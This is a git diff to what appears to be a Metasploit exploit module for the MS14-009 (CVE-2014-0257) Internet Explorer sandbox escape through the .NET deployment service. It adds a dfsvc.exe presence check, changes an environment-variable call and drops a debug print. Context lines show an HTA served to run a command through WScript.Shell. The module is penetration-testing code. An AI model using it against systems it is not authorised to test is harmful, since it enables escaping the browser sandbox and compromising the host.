diff --git a/data/exploits/CVE-2014-0257/CVE-2014-0257.dll b/data/exploits/CVE-2014-0257/CVE-2014-0257.dll
index ef0eeb3a3c..cdfd0626b7 100755
Binary files a/data/exploits/CVE-2014-0257/CVE-2014-0257.dll and b/data/exploits/CVE-2014-0257/CVE-2014-0257.dll differ
diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
index 6b1193acfe..2e515e13fc 100644
--- a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
+++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
@@ -15,6 +15,7 @@ class Metasploit3 < Msf::Exploit::Local
   include Msf::Exploit::EXE
   include Msf::Exploit::Remote::HttpServer
   include Msf::Post::Windows::Priv
+  include Msf::Post::File
 
   def initialize(info={})
     super( update_info( info,
@@ -68,6 +69,10 @@ class Metasploit3 < Msf::Exploit::Local
       fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
     end
 
+    unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
+      fail_with(Failure::NotVulnerable, ".NET Deployment Service (dfsvc.exe) not found")
+    end
+
     begin
       Timeout.timeout(datastore['DELAY']) { super }
     rescue Timeout::Error
@@ -78,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Local
     exploit_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.hta"
     session.railgun.kernel32.SetEnvironmentVariableA("MYURL", exploit_uri)
 
-    temp = session.sys.config.getenv('TEMP')
+    temp = get_env('TEMP')
 
     print_status("Loading Exploit Library...")
 
@@ -101,7 +106,6 @@ var shell = new ActiveXObject("WScript.Shell");
 shell.Run(command);
 </script>
       eos
-      print_status(hta)
       send_response(cli, hta, {'Content-Type'=>'application/hta'})
     else
       send_not_found(cli)